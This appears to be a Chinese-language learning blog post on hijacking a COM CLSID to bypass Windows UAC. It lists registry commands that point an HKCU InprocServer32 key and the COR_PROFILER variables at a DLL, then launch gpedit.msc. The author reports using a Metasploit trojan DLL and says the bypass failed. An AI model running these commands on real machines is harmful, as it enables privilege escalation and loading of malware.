前言
我对clsid的理解就是一条命令或者一个程序或者一个文件,有些程序在启动的时候会查询注册表里面的某个clsid,并对其值进行操作,有可能是clsid中指定执行命令,有可能是加载clsid中指定的文件等等。官方的clsid的解释是:class identifier(类标识符)也称为CLASSID或CLSID,是与某一个类对象相联系的唯一标记(UUID)。
实现
1.条件
我们通过procmon这个软件找到合适被劫持的CLSID,适合被劫持的CLSID的条件:
- 以管理员权限启动的程序在启动的过程中被调用,例如gpedit.msc,compmgmt.msc,eventvwr.msc,secpol.msc,taskschd.msc等。
- 打开注册表键值HKCU:\Software\Classes\CLSID{****}\InprocServer32,返回NAME NOT FOUND
- 打开注册表键值HKCR:\CLSID{****}\InprocServer32,返回SUCCESS
exp:
procmon下载地址
windows工具套件
2.实现过程
这边我找到了两个可用的CLSID,打开procmon然后开启gpedit.msc,接着找到filter选项配置显示就好。
由于系统注册表中并没有我们需要的CLSID所以我们直接创建。命令如下,前面是添加注册表后面是删除注册表:
REG ADD "HKCU\Software\Classes\CLSID\{34AB8E82-C27E-11D1-A6C0-00C04FB94F17}\InprocServer32" /ve /t REG_EXPAND_SZ /d "%CD%\calc.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{34AB8E82-C27E-11D1-A6C0-00C04FB94F17}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
mmc gpedit.msc
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{34AB8E82-C27E-11D1-A6C0-00C04FB94F17}
reg delete %key% /f
最终可以查看到确实加载了calc.dll文件,但是并没有什么效果,我的dll文件是一个msf的木马文件,并没有弹回shell。
结论
无法实现bypassuac,也不知道哪里出了问题,继续学习。